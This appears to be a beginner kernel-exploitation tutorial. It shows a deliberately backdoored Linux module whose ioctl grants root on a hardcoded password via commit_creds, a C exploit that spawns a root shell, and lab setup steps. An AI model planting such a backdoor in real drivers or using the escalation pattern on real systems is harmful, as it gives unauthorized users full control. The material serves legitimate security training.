Skip to content

Procfs Ioctl Challenge: Direct Device Control

This challenge introduces the ioctl (Input/Output Control) system call. While read and write are standard for data streams, ioctl is used for device-specific operations that don’t fit the standard model. In kernel pwn, ioctl is often the primary entry point for complex vulnerabilities.

The Driver Code

The module creates /proc/pwnioctl. It implements the proc_ioctl (or unlocked_ioctl) callback to handle custom commands.

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/proc_fs.h>
#include <linux/uaccess.h>
#include <linux/cred.h>

#define PROC_FILENAME "pwnioctl"
#define IOCTL_WIN_CMD 0x1337
#define SECRET_PASSWORD "uiiaiiuuiiai"

MODULE_LICENSE("GPL");
MODULE_AUTHOR("fitrafep");
MODULE_DESCRIPTION("Ioctl Password Challenge");

static struct proc_dir_entry *proc_entry;

static void win(void)
{
    printk(KERN_INFO "ioctl_chall: Password correct! Elevating privileges...\n");
    commit_creds(prepare_kernel_cred(NULL));
}

static long device_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
    char password[32];
    int len;

    if (cmd != IOCTL_WIN_CMD)
        return -EINVAL;

    // arg is treated as a user-space pointer to the password string
    if (copy_from_user(password, (char __user *)arg, sizeof(password) - 1))
        return -EFAULT;

    password[sizeof(password) - 1] = '\0';
    len = strlen(SECRET_PASSWORD);

    if (strncmp(password, SECRET_PASSWORD, len) == 0) {
        win();
        return 0;
    }

    printk(KERN_INFO "ioctl_chall: Incorrect password provided via ioctl.\n");
    return -EACCES;
}

#ifdef HAVE_PROC_OPS
static const struct proc_ops proc_fops = {
    .proc_ioctl = device_ioctl,
};
#else
static const struct file_operations proc_fops = {
    .unlocked_ioctl = device_ioctl,
};
#endif

static int __init ioctl_chall_init(void)
{
    proc_entry = proc_create(PROC_FILENAME, 0666, NULL, &proc_fops);
    return proc_entry ? 0 : -ENOMEM;
}

static void __exit ioctl_chall_exit(void)
{
    proc_remove(proc_entry);
}

module_init(ioctl_chall_init);
module_exit(ioctl_chall_exit);

Makefile

obj-m += secret_chall.o

all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

The Ioctl Mechanism

The ioctl system call takes three arguments: a file descriptor, a command number, and an optional argument (usually a pointer or a long).

  • Command (cmd): A unique integer identifying the operation. Here, 0x1337 triggers the win check.
  • Argument (arg): In this driver, arg is cast to a char __user *. The kernel uses copy_from_user to read the password string from the user process’s memory.

Exploit Script (C)

This script uses the ioctl() system call to send the password directly to the kernel module.

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define IOCTL_WIN_CMD 0x1337
#define SECRET_PASSWORD "uiiaiiuuiiai"

int main() {
  // 1. Open the proc entry
  int fd = open("/proc/pwnioctl", O_RDWR);
  if (fd < 0) { perror("open"); return 1; }

  // 2. Send the secret password via ioctl
  if (ioctl(fd, IOCTL_WIN_CMD, SECRET_PASSWORD) < 0) {
    perror("ioctl");
    return 1;
  }

  // 3. Verify root escalation
  if (getuid() == 0) {
    printf("[+] Success! We are root.\n");
    system("/bin/sh");
  } else {
    printf("[-] Failed to get root.\n");
  }

  close(fd);
  return 0;
}

Deployment

Modify the rootfs/init script to load the module and trigger the exploit:

-exec /bin/sh
+insmod /secret_chall.ko
+su pwn -c "/exploit_secret"
+poweroff -f

Finally, rebuild the rootfs and launch the environment:

./pack.sh && ./run.sh